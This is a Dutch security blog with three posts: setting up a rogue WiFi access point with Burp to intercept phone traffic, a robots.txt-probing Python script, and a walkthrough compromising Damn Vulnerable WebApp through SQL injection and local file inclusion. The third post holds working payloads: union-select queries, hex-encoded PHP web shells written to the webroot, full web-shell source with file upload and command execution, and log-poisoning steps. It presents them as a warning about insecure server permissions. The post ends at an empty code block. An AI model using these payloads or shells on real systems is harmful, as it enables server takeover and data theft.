Droid in the middle

Door Slurpgeit op vrijdag 12 juli 2013 00:15 - Reacties (16)
Categorie: -, Views: 4.235

Aangezien ik de laatste paar dagen druk bezig ben geweest met het verkeer van mobiele devices onderscheppen, leek het me wel leuk om hier een verhaaltje over te tikken. Vooral ook omdat er soms echt rare dingen gebeuren op de achtergrond.

Zoals altijd gebruik ik ook dit keer weer een Ubuntu 12.04 VM, samen met een HTC Desire met een Cyanogenmod 10.1 rom (Android 4.2.2). Op Ubuntu ga ik wat software installeren om er een WiFi Access Point van te maken. Als adapter heb ik een Alfa (deze).

Eerst, wat software installeren:
sudo apt-get -y install hostapd isc-dhcp-server

Hostapd is software voor het opzetten van een access point, en isc-dhcp-server is, zoals de naam misschien al doet vermoeden, een DHCP server. Na de installatie, zorg ik er ook gelik voor dat hostapd niet elke keer automatisch opstart als het systeem dat doet:
sudo update-rc.d hostapd disable

Vervolgens maak ik een configuratie aan voor hostapd, waar ik wat settings over mijn access point in zit:
sudo nano /etc/hostapd.conf


code:
1
2
3
4
5
6
7
8
9
ssid=Henk
channel=1
wpa=2
wpa_passphrase=qwertyuiop
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
interface=wlan0
driver=nl80211
hw_mode=g

Deze settings zorgen voor een Access Point met als SSID 'Henk' op kanaal 1, met WPA2-AES en als sleutel 'qwertyuiop'. Dit alles gaat gebeuren op de interface wlan0 (Mijn Alfa).

Hierna is het ook nog nodig om een configuratie voor de DHCP server te maken. Eerst gooi ik de oude weg, dit is toch maar een example config die veel te vol staat met allerlei rotzooi:
sudo rm /etc/dhcp/dhcpd.conf

Vervolgens open ik daar een nieuw bestand:
sudo nano /etc/dhcp/dhcpd.conf

en gooi ik er deze informatie in:

code:
1
2
3
4
5
subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.149;
  option domain-name-servers 8.8.8.8, 8.8.4.4;
  option routers 10.0.0.1;
}
(ja, /24 op een 10.x.x.x netwerk is met opzet :Y))
Hiermee deelt mijn DHCP server adressen uit van 10.0.0.100 tot 10.0.0.149, met als DNS servers die van Google, en mijn Ubuntu VM als default gateway. Hiervoor moet ik nog wel even mijn WiFi adapter het goede adres geven:
sudo ifconfig wlan0 10.0.0.1/24

Ook is het nodig om de DHCP server te vertellen welke interface hij moet gebruiken. Dus doe ik:
sudo nano /etc/default/isc-dhcp-server

en verander ik

code:
1
INTERFACES=""

naar

code:
1
INTERFACES="wlan0"

Om ervoor te zorgen dat alles goed gaat, is het nodig om IP forwarding in te schakelen:
sudo sysctl net.ipv4.ip_forward=1

en om wat firewall regels toe te passen
sudo iptables -A FORWARD -s 10.0.0.0/24 -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -d 10.0.0.0/24 -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE

Dan even de DHCP server starten:
sudo service isc-dhcp-server start

en het Access Point de lucht in schoppen
sudo hostapd hostapd.conf

Dat lijkt allemaal prima te werken. Ik kan verbinden en lekker surfen:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/henk_ap.png

Een grappig iets om te herinneren is dat (zoals ik al eens eerder heb besproken), een WiFi enabled apparaat constant zoekt naar netwerken waar je ooit mee verbonden bent (mits je ze niet handmatig verwijderd hebt, iets wat bij iOS devices alleen kan als ze in de buurt zijn.). Deze "probes" kan je opvangen om te zien waar zoal naar gezocht wordt. Als er bijvoorbeeld in mijn buurt iemand zoekt naar de open hotspot "KPN", en ik noem mijn Access Point geen "Henk" maar "KPN", dan zal die persoon automatisch verbinden met mijn Access Point zonder het door te hebben. Maar wat voor verkeer zie je zoal langskomen?

Om dat wat inzichtelijker te maken gebruik ik Burp. Een zogenaamde intercepting proxy, waarbij je alle HTTP(s) requests kan zien, en aanpassen. Hiervoor moet alleen wel het verkeer op poort 80 (HTTP) en 443 (HTTPS)omgelust worden naar die proxy (Die luistert naar verkeer op poort 8080. Dat is vrij simpel te doen:
sudo iptables -t nat -A PREROUTING -i wlan0 -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i wlan0 -s 10.0.0.0/24 -p tcp --dport 443 -j REDIRECT --to-port 8080
sudo iptables -A INPUT -i wlan0 -s 10.0.0.0/24 -p tcp --dport 8080 -j ACCEPT

En even in stellen dat Burp op alle interfaces gaat luisteren:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/burp_listen.png

Als je verkeer gaat onderscheppen van devices die niet weten dat ze door een proxy geleid gaan worden, is ook het vinkje "Invisible mode" erg belangrijk:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/invisible.png

En zo kan je in ieder geval al het HTTP verkeer zien van de client. Zoals bijvoorbeeld een bezoek naar tweakers.net op de telefoon:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/req_t.net.png

Daarnaast wordt ook al het SSL verkeer door de proxy gestuurd, maar omdat Burp dit ontsleuteld en weer versleuteld met een eigen certificaat zal dit zorgen voor een certificaatwaarschuwing of een niet werkende app (In het goede geval). Bij de tweakers.net app was dit ook het geval. Deze wil (mits er inloggegevens ingevoerd staan in de app) geen content ophalen vanwege een ongeldig SSL certificaat. Kudo's tweakers! Helaas doet het relatief populaire spelletje "Draw Something" daar minder moeilijk over. Bij de eerste run van het spel wordt het device automatisch geregistreerd. Via SSL, dat wel, maar het maakt de app geen klap uit wat voor certificaat daarbij hoort. Resultaat:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/ds.png

Kassa! Eerste wachtwoord is binnen. Eens kijken wat andere populaire games doen. Kent iemand "4 plaatjes 1 woord"? Zij jou wel:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/4p1w.png

Nu heb ik op dit toestel eigenlijk alles kwa locatiebepaling uit staan, en zo weinig mogelijk gegevens ingevoerd. Maar zo te zien willen ze best wat van je weten. Positie, geslacht, leeftijd, serienummers, MAC adressen, verbindingsmethode, etc, etc. En dat alleen maar voor een advertentie? Gelukkig versturen ze het versleuteld over het internet, oh, wacht, niet. Even verder kijken..

Coindozer! WIe houdt er niet van een beetje muntje schuiven. Maar, wat de hell dit allemaal moet voorstellen:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/coindozer.png

Dat nummer daar achter "Type 3" lijkt verdacht veel op het IMEI van de telefoon. En waar is in godsnaam de "ishacked" parameter voor? Root detectie? Not doing a very good job :). Moving on..

We komen aan bij "Stick Stunt Biker 2". En bij de eerste run al gelijk wat interessants:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/stunt.png

Die grote blob tekst is misschien wat duidelijk, maar hier is ie met enters en ontdaan van URL encoding:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
packages=android
com.andrew.apollo
com.android.backupconfirm
com.android.bluetooth
com.android.browser
com.android.calculator2
com.android.calendar
com.android.cellbroadcastreceiver
com.android.certinstaller
com.android.contacts
com.android.defcontainer
com.android.deskclock
com.android.development
com.android.dreams.basic
com.android.dreams.phototable
com.android.email
com.android.exchange
com.android.galaxy4
com.android.gallery3d
com.android.htmlviewer
com.android.inputdevices
com.android.inputmethod.latin
com.android.keychain
com.android.location.fused
com.android.magicsmoke
com.android.mms
com.android.musicvis
com.android.noisefield
com.android.packageinstaller
com.android.phasebeam
com.android.phone
com.android.providers.applications
com.android.providers.calendar
com.android.providers.contacts
com.android.providers.downloads
com.android.providers.downloads.ui
com.android.providers.drm
com.android.providers.media
com.android.providers.settings
com.android.providers.telephony
com.android.providers.userdictionary
com.android.provision
com.android.settings
com.android.sharedstoragebackup
com.android.smspush
com.android.soundrecorder
com.android.stk
com.android.systemui
com.android.vending
com.android.voicedialer
com.android.vpndialogs
com.android.wallpaper.holospiral
com.android.wallpaper.livepicker
com.bel.android.dspmanager
com.cyanogenmod.lockclock
com.cyanogenmod.trebuchet
com.cyanogenmod.updater
com.djinnworks.StickStuntBiker2.free
com.google.android.apps.uploader
com.google.android.backup
com.google.android.ears
com.google.android.feedback
com.google.android.gm
com.google.android.gms
com.google.android.gsf
com.google.android.gsf.login
com.google.android.location
com.google.android.marvin.talkback
com.google.android.onetimeinitializer
com.google.android.partnersetup
com.google.android.setupwizard
com.google.android.syncadapters.bookmarks
com.google.android.syncadapters.calendar
com.google.android.syncadapters.contacts
com.google.android.talk
com.google.android.voicesearch
com.hyperkani.stuntcarchallenge
com.icemobile.tweakers
com.king.candycrushsaga
com.leftover.CoinDozer
com.omgpop.dstfree
com.supportware.Buienradar
com.svox.pico
com.tmobile.themechooser
com.tmobile.thememanager
com.zynga.draw2.googleplay.free
de.lotum.whatsinthefoto.us
jackpal.androidterm
net.cactii.flash2

Eh? Ik kan me geen geldige reden bedenken waarom een provider van advertenties een lijst moet hebben van ALLE apps die op mijn telefoon staan. En al helemaal niet waarom ze dat onversleuteld versturen (En ja, ook hier staat mijn Device ID in het request). Toen ik echter verder ging testen bleek het echter nog erger. De app draaide niet, en ik installeerde de ING app. Tot mijn grote verbazing zie ik:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/stunt2.png

Kan iemand mij vertellen waarom een simpel spelletje elke andere app die ik installeer doorbelt?

* Slurpgeit zet tin foil hat op.

One more time for dramatic effect, dit is dus allemaal zonder een nieuw root certificaat op het apparaat te installeren, of tools als SSLStrip. Je maakte je druk om PRISM? Maak je liever druk om je eigen broekzak.

Uiteraard is dit soort onderzoek heel erg goed zelf uit te voeren. Het is best makkelijk om het CA certificaat van Burp op je toestel te installeren, gewoon even het certificaat exporteren met een browser, opslaan als .crt op de root van je SD kaart, en:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/CA1.png
https://dl.dropboxusercontent.com/u/7521450/blog/ditm/CA2.png
https://dl.dropboxusercontent.com/u/7521450/blog/ditm/CA3.png

Daarnaast is het ook wel handig om op het toestel een proxy in te stellen, zodat Burp de juiste certificaten kan genereren per website:

https://dl.dropboxusercontent.com/u/7521450/blog/ditm/proxy.png

Als laatste heb je ook nog apps die doen aan "Certificate pinning". Oftewel, ze accepteren alleen het certificaat dat ergens in de code gedefiniŽerd staat. Hier zijn echter ook programma's voor, zoals: https://github.com/iSECPartners/android-ssl-bypass en https://code.google.com/p/intrinsec-android-ssl-patch/.

Ik wilde nog een stuk bij dit blog maken over wat apps allemaal versturen als ze gepatched zijn om alle SSL certificaten te accepteren, of als ik het Burp CA certificaat op het toestel had gezet. Bij nader inzien leek het me echter wel leuk om dat aan jouw verbeelding over te laten, en misschien een beetje te triggeren om zelf op onderzoek uit te gaan ;). De resultaten van hierboven zijn overigens niet meer dan een paar uur onderzoek. Ik ga even het huis verven met loodverf, want er verschijnen allemaal busjes met schotels op het dak voor de deur.

robots.txt

Door Slurpgeit op dinsdag 02 juli 2013 00:23 - Reacties (12)
Categorie: -, Views: 6.233

Klein dumppostje tussendoor. Leek me eigenlijk wel een goed idee om een scriptje te maken wat automatisch de robots.txt van een website doorloopt om te kijken of er nog spannende pagina's tussen staan. Wie weet heeft iemand anders er nog wat aan ;). Overigens ben ik absoluut geen coder, dus verwacht een paar schoonheidsfoutjes.

https://dl.dropboxusercontent.com/u/7521450/blog/robots/2-7-2013%200-20-54.png


Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python

#############################################
# GetRobots - Get titles for all            #
# robots.txt URI's.                         #
# Author: Slurpgeit                         #
# Github: https://github.com/Slurpgeit      #
#############################################

## Imports
import sys
import urllib2
import time
import socket

# Check for BeautifulSoup
try:
    from bs4 import BeautifulSoup
except:
    print 'Please install the BS4 python module.'
    sys.exit()

## Basic stuff
# The helptext
helptext = """\
==========\n\
GetRobots\n\
==========\n\
Usage: """ + sys.argv[0] + """ -u <url> <options>\n\
    -u <url>        The URL to use\n\
    -P <ip>:<port>        Use HTTP proxy\n\
    -t <timeout>        Timeout (Default is 1 second)
    -v            Verbose (Show HTTP errors)
    -h            Display this help\
"""

# See if URL is set
try:
    url = urllib2.unquote(sys.argv[sys.argv.index('-u') + 1])
    if ('http://' not in url) and ('https://' not in url):
        url = 'http://' + url
except:
    print helptext
    sys.exit()

# Check if URL resolves
try:
    rawurl = url.strip('http://')
    rawurl = url.strip('https://')
    socket.gethostbyname(rawurl)
except:
    print '\033[91m[-]\033[0m Could not revolve "' + url + '"'
    sys.exit()

# Parse command line
if ('-h' in sys.argv) or ('--help' in sys.argv):
    print helptext
    sys.exit()

if '-P' in sys.argv:
    proxyaddr = urllib2.unquote(sys.argv[sys.argv.index('-P') + 1])
    proxy = urllib2.ProxyHandler({'http': proxyaddr})
    opener = urllib2.build_opener(proxy)
    urllib2.install_opener(opener)

if '-t' in sys.argv:
    timeout = int(urllib2.unquote(sys.argv[sys.argv.index('-t') + 1]))
else:
    timeout = 1

if '-v' in sys.argv:
    verbose = 1

## Functions
# Get all "Disallow: " lines
def getdisallow(url):
    disallow = []
    try:
        req = urllib2.urlopen(url + '/robots.txt')
        status = req.getcode()
        print '\033[92m[+]\033[0m ' + str(status) + ' | robots.txt'

    except Exception, error:
        try:
            print '\033[91m[-]\033[0m ' + str(error.code) + ' | robots.txt'
        except:
            print '\033[91m[-]\033[0m Error: ' + str(error)
        sys.exit()
    
    robots = req.readlines()
    for line in robots:
        if 'Disallow:' in line:
            if ('Disallow: /\n' not in line) and ('Disallow: /*\n' not in line):
                disallow.append(line)
    return disallow

# Get all URI titles
def getcontent(uri):
    for uri in uris:
        try:
            req = urllib2.urlopen(url + uri)
            status = str(req.getcode())
            html = BeautifulSoup(req)
            try:
                title = html.title.string
                title = title.strip('\n')
                title = title.strip('\t')
            except:
                title = 'No title'

            print '\033[92m[+]\033[0m ' + status + ' | ' + uri.rstrip() + ' | "' + title.rstrip() + '" | ' + url + uri.rstrip()
        except urllib2.URLError, error:
            try:
                if verbose:
                    print '\033[91m[-]\033[0m ' + str(error.code) + ' | ' + uri.rstrip()
            except:
                pass
        time.sleep(timeout)

## Running code
# Fill 'uris' array
uris = []
disallow = getdisallow(url)

if not disallow:
    print 'No "Disallow:" entries in robots.txt.'
else:
    for entry in disallow:
        entry = entry.strip('Disallow: ')
        uris.append(entry)

# Request all URI's
getcontent(uris)


https://github.com/Slurpg...ster/scripts/getrobots.py

chpwn

Door Slurpgeit op maandag 11 februari 2013 22:18 - Reacties (13)
Categorie: -, Views: 3.831

Dit verhaaltje komt eigenlijk doordat ik wel eens wat lees in het Newznab topic. Iedereen moet natuurlijk wel makkelijk die thuiskopietjes van zijn / haar muziek en films kunnen binnenhalen :).

Wat mij echter opviel is dat meerdere tweakers aanbevelen om tijdens de installatie de webuser alle rechten te geven op de newznab map, of om alle bestanden wereldwijd lees- en schrijfbaar te maken. Dit is, om het zwak uit te drukken, een erg slecht idee (Begrijp me niet verkeerd, dit is geen bashen. Meer, informeren :) ).

Ook zie ik een hoop mensen XAMPP gebruiken om op Windows een webservertje te draaien. Deze heeft eigenlijk hetzelfde probleem. Vandaar dat dit keer het blogje opgedeeld gaat worden in twee scenario's.

Windows met XAMPP
Het leuke van deze setup is, dat bij een standaard installatie de XAMPP services (Apache, MySQL, etc) als de "SYSTEM" gebruiker draaien, de gebruiker met de hoogste rechten binnen een Windows omgeving:
https://dl.dropbox.com/u/7521450/blog/chpwn/windows_system.png

Het probleem hiermee is dat als er een fout ontdekt wordt in Newznab (of als je een andere kwetsbare applicatie op dezelfde server host) een aanvaller met meerdere vingers in zijn / haar neus de server kan overnemen. Hoe? Read on..

Ok, denk even mee. Naast Newznab heb je dus nog een website draaien op je webserver. En deze is kwetsbaar voor SQL-Injection. In mijn geval heb ik de "Damn Vulnerable WebApp" gedownload en op mijn Windows server gezet. Dit is een softwarepakketje wat met opzet lek is voor allerlei dingen, je weet wel, om mee te spelen :).

De standaard SQLMAP / HAVIJ scriptjongere zal hier al wat standaard truukjes mee uit kunnen halen. Ik denk aan usernames en wachtwoorden achterhalen door te zoeken op:
1' union all select concat(user,':',password),'' from users -- 

https://dl.dropbox.com/u/7521450/blog/chpwn/union_select.png
(Wat je hier ziet is gebruikersnamen en wachtwoorden in het formaat <gebruiker>:<wachtwoord in md5 hash>).

Je zou deze eventueel ook nog vrij makkelijk kunnen kraken:
https://dl.dropbox.com/u/7521450/blog/chpwn/john.png

Maaarrrrrrrrr, dat is nog niet alles! Omdat MySQL hier als "SYSTEM" draait, heeft het proces ook toegang tot (bijna) alle bestanden en mappen. Daarnaast kan MySQL resultaat ook nog eens wegschrijven naar een bestand. Dus als we de volgende query uitvoeren:
1' union all select 'hello world','' into dumpfile 'c:/xampp/htdocs/hello.html' -- 


zal MySQL de tekst "hello world" in het bestand "c:\xampp\htdocs\hello.html" (de standaard webroot van XAMPP) zetten. Dit kan je vervolgens ook nog eens controleren door naar de website/hello.html te surfen:
https://dl.dropbox.com/u/7521450/blog/chpwn/helloworld.png
(adminadmin staat erbij omdat dat de output van de normale zoekfuntionaliteit is.)

Cool! Maar, aan alleen HTML hebben we niks. Laat de server nu ook PHP ondersteunen.. Maar wat kan PHP voor ons betekenen in deze aanval? Denk even aan het volgende kleine stukje PHP code:

PHP:
1
<?php echo "<pre>".htmlentities(shell_exec($_GET['cmd']))."</pre>"?>


Misschien dat je het al herkent, maar dit stukje PHP voert een commando wat je meegeeft in de url (?cmd=dir, bijvoorbeeld) uit op het onderliggende systeem, en geeft de output terug. Nu moeten we het alleen op het systeem krijgen. Door de rare tekens ($, ', ", ;, etc) kan het nog wel eens fout gaan. Maar, gelukkig, kan MySQL ook overweg met Hexadecimale karakters. Dus, even de code omzetten van ASCII naar HEX:
https://dl.dropbox.com/u/7521450/blog/chpwn/asciihex.png

En aan MySQL doorgeven met de volgende query:
1' union all select 0x3c3f706870206563686f20223c7072653e222e68746d6c656e746974696573287368656c6c5f6578656328245f4745545b27636d64275d29292e223c2f7072653e223b203f3e,'' into dumpfile 'c:/xampp/htdocs/shell.php' -- 


Even kijken of het gewerkt heeft:
https://dl.dropbox.com/u/7521450/blog/chpwn/shell.png

https://dl.dropbox.com/u/7521450/blog/chpwn/whoami_win.png

W00p! Oke, dus we kunnen commando's op de server uitvoeren als "SYSTEM". Alleen is deze shell verder vrij beperkt. Ik heb even snel een iets uitgebreider shelletje gemaakt:
https://dl.dropbox.com/u/7521450/blog/chpwn/simshell.png

Hij is met opzet wat onleesbaar, omdat hij gemaakt is om via een URL te injecteren. Daarom is hij zo compact mogelijk. Mocht je hem ook willen testen:

PHP:
1
<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>


Zo zou hij eruit zien als het normale PHP was geweest:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
error_reporting(0);

if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){
    $he=htmlentities;
    $fo="<form method=post ";
    $it=" <input type=";
    
    echo $fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";
    
    $fs=$_FILES['f'];
    if (isset($fs)){
        move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);
        echo" Upped!";
    }
    
    $gc=$_POST['c'];
    echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";
    if(isset($gc)){
        echo"<pre>".$he(`$gc 2>&1`)."</pre>";
    }
}
?>


Basically, is het een shell net als de andere, alleen heeft deze ook upload funcionaliteit, en wordt error reporting uitgezet en alles verzonden via POST. Dit om een beetje anoniem te blijven door niet in de server logs op te duiken :). Daarnaast zit er ook een 'beveiliging' in, die ervoor zorgt dat hij alleen op mijn IP reageert. Het verdient geen schoonheidsprijs, maar het werkt. Dus, via een soortgelijke manier ook even deze shell op de server plaatsen:
1' union all select 0x3c3f706870206572726f725f7265706f7274696e672830293b696628245f5345525645525b2752454d4f54455f41444452275d3d3d273139322e3136382e312e32303227297b2468653d68746d6c656e7469746965733b24666f3d223c666f726d206d6574686f643d706f737420223b2469743d22203c696e70757420747970653d223b6563686f24666f2e22656e63747970653d6d756c7469706172742f666f726d2d646174613e222e2469742e2266696c65206e616d653d663e20546f3a20222e2469742e2274657874206e616d653d6c2076616c75653d27222e246865287374725f7265706c61636528275c5c272c272f272c676574637764282929292e22273e222e2469742e227375626d69742076616c75653d55703e223b2466733d245f46494c45535b2766275d3b6966202869737365742824667329297b6d6f76655f75706c6f616465645f66696c65282466735b27746d705f6e616d65275d2c245f504f53545b276c275d2e272f272e2466735b276e616d65275d293b6563686f2220557070656421223b7d2467633d245f504f53545b2763275d3b6563686f223c2f666f726d3e222e24666f2e223e222e2469742e2274657874206e616d653d632076616c75653d27222e24686528246763292e22273e222e2469742e227375626d69742076616c75653d457865637574653e223b69662869737365742824676329297b6563686f223c7072653e222e246865286024676320323e263160292e223c2f7072653e223b7d7d3f3e0a,'' into dumpfile 'c:/xampp/htdocs/simshell.php' -- 


Und:
https://dl.dropbox.com/u/7521450/blog/chpwn/simshell_2.png

Zo, dat is wat makkelijker. Nu kunnen we via Metasploit even een backdoor genereren om meer controle over het systeem te krijgen. Dus we kiezen onze meterpreter payload en voeren wat opties in (vooral waar hij naar moet terugverbinden):
https://dl.dropbox.com/u/7521450/blog/chpwn/msypayload.png

En we genereren een .exe bestand om te uploaden:
https://dl.dropbox.com/u/7521450/blog/chpwn/msfgenerate.png

Stap 3, uploaden naar de webserver:
https://dl.dropbox.com/u/7521450/blog/chpwn/upload.png

https://dl.dropbox.com/u/7521450/blog/chpwn/upload2.png

Stap 4, op onze machine iets starten wat de bevinding kan opvangen:
https://dl.dropbox.com/u/7521450/blog/chpwn/handler.png

Stap 5, uitvoeren van de .exe op de webserver:
https://dl.dropbox.com/u/7521450/blog/chpwn/execute.png

Profit:
https://dl.dropbox.com/u/7521450/blog/chpwn/session1.png

En, omdat ook Apache als "SYSTEM" draait:
https://dl.dropbox.com/u/7521450/blog/chpwn/getuid.png

Volledige toegang tot het Windows systeem. Vanaf hier kan je je aanval gaan uitbreiden over de rest van het netwerk. Of gewoon even een screenshotje maken to see what's going on :) :
https://dl.dropbox.com/u/7521450/blog/chpwn/screenshot1.png
https://dl.dropbox.com/u/7521450/blog/chpwn/screenshot2.png

Ok? Ok. Linux time!

Ubuntu met LAMP
Gelijk vanaf het begin zijn er al verschillen. Zo draait Apache netjes onder een eigen user (standaard www-data), en mag deze user niet zomaar bestanden lezen / aanpassen. Voor dit scenario heb ik wederom de Damn Vulnerable WebApp geÔnstalleerd om een fout in newznab / andere applicatie te simuleren. Dit keer gaan we voor Local File Inclusion (LFI). Oftewel, openen van bestanden die eigenlijk niet bij de website horen. Dit soort kwetsbaarheden kan je herkennen aan dit soort URL's:
https://dl.dropbox.com/u/7521450/blog/chpwn/lfi1.png

De kwetsbare code lijkt meestal hier op:
https://dl.dropbox.com/u/7521450/blog/chpwn/lfi2.png

Dus, als je "?page=about.php" in de url intikt, krijg je de about page. Tik je "?page=login.php", krijg je de login pagina. Maar, als dit niet goed afgedicht is, kan je ook "?page=../../../../../../etc/passwd" of zelfs "?page=/etc/passwd" gebruiken om een compleet ander bestand te openen (/etc/passwd):
https://dl.dropbox.com/u/7521450/blog/chpwn/passwd.png

"Boeie, je kan nu niks webschrijven". Klopt, niet direct, maar we kunnen wel andere bestanden uitlezen waar we zelf ook invloed op hebben. Denk aan bijvoorbeeld het logbestand "/var/log/apache2/other_vhosts_access.log". In dit bestand worden alle requests opgeslagen, samen met wat info over de persoon die het opvraagt:
https://dl.dropbox.com/u/7521450/blog/chpwn/vhostslog.png

Sommige delen van deze info hebben we zelf invloed op, zoals bijvoorbeeld de user agent. Zo kan je met de proxy Burp dingen aanpassen voor je het naar de webserver stuurt. Bijvoorbeeld:
https://dl.dropbox.com/u/7521450/blog/chpwn/phpinforeq.png

Hiermee komt de PHP code:

PHP:
1
<? phpinfo() ?>


in het logbestand terecht. Als we deze vervolgens weer bekijken door de url "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken gaat de webserver dit bestand uitlezen. Op een gegeven moment komt hij de PHP code tegen en denkt "Hey, dit is PHP! Dat moet ik uitvoeren!". Het resultaat:
https://dl.dropbox.com/u/7521450/blog/chpwn/phpinfo.png

Oftewel, we kunnen zelf PHP code uitvoeren op de server, al dan niet met een omweg. Nu is het idee om op deze manier onze shell weg te schrijven. Om dat te doen pakken we weer dezelfde code:

PHP:
1
<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>


We voegen voor elke ' en \ een extra \ toe om te zorgen dat die tekens ge-escaped (is dat een werkwoord?) worden, in plaats van geÔnterpreteerd:

PHP:
1
<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>


Dan voegen we een stukje code toe om het geheel weg te schrijven naar het bestand "/var/www/dvwa/shell.php":

PHP:
1
fwrite(fopen('/var/www/dvwa/shell.php', 'w'), '<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>');


En, omdat het ook hier niet direct ingevoerd kan worden, converteren we het naar Base64 en gooien we er een PHP functie omheen die de code tijdens het lezen converteert en uitvoert:

PHP:
1
